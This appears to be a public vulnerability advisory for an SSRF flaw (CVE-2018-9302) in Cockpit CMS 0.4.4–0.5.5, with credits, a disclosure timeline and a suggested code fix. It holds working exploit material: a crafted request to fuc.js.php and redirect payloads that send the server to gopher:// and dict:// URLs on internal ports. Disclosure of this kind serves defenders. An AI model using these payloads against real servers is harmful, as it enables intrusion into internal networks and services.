Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery

# SSRF（Server Side Request Forgery） in Cockpit 0.4.4-0.5.5 (CVE-2018-9302)

Cockpit CMS repairs CVE-2017-14611, but it can be bypassed, SSRF still exist, affecting the Cockpit CMS 0.4.4-0.5.5 versions.I've been tested success of "Cockpit CMS" lastest version.

## Product Download: Cockpit (https://getcockpit.com)

## Vulnerability Type：SSRF（Server Side Request Forgery）

## Attack Type : Remote

## Vulnerability Description

You can edit a .php file on own server. The .php file's code example:

<?php Header("Location: dict://127.0.0.1:3306/_0d%");?>

## Exploit
Request:

    GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1
    Host: myserver
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8
    referer:http://myserver/index.php


Modify the redirect.php file on the attacker's server.example:
    <?php Header("Location: gopher://127.0.0.1:3306/_0d%");?>

If the curl function is available,then use gopher、tftp、http、https、dict、ldap、imap、pop3、smtp、telnet protocols method，if not then only use http、https、ftp protocol
scan prot,example: <?php Header("Location: dict://127.0.0.1:3306/");?> 

If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.ini，allow_url_fopen option defualt is enable.

## Versions

Product: Cockpit CMS 0.4.4-0.5.5

## Impact

SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter.

## Fix Code

The fix code example：

    $url     = $_REQUEST['url'];
    $content = null;
    if (!filter_var($url, FILTER_VALIDATE_URL)) {

        header('HTTP/1.0 400 Bad Request');
        return;
    }

    // allow only http requests
    if (!preg_match('#^http(|s)\://#', $url)) {
        header('HTTP/1.0 403 Forbidden');
        return;
    }
    preg_match('/https*:\/\/(.+)/', $url, $matches);
    $host= count($matches) > 1 ? $matches[1] : '';
    $ip = gethostbyname($host);
    //check private ip
    if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
        return
    }

and modify the line 48 :

    curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0);

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang &  National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9302

### Timeline:

2018-04-03  Found Cockpit CMS vulnerability.

2018-04-04  Submit vulnerability information to developers.

2018-04-05  Submit CVE-ID request

2018-04-28  Vendor no response, Public vulnerability information,Please Fix it.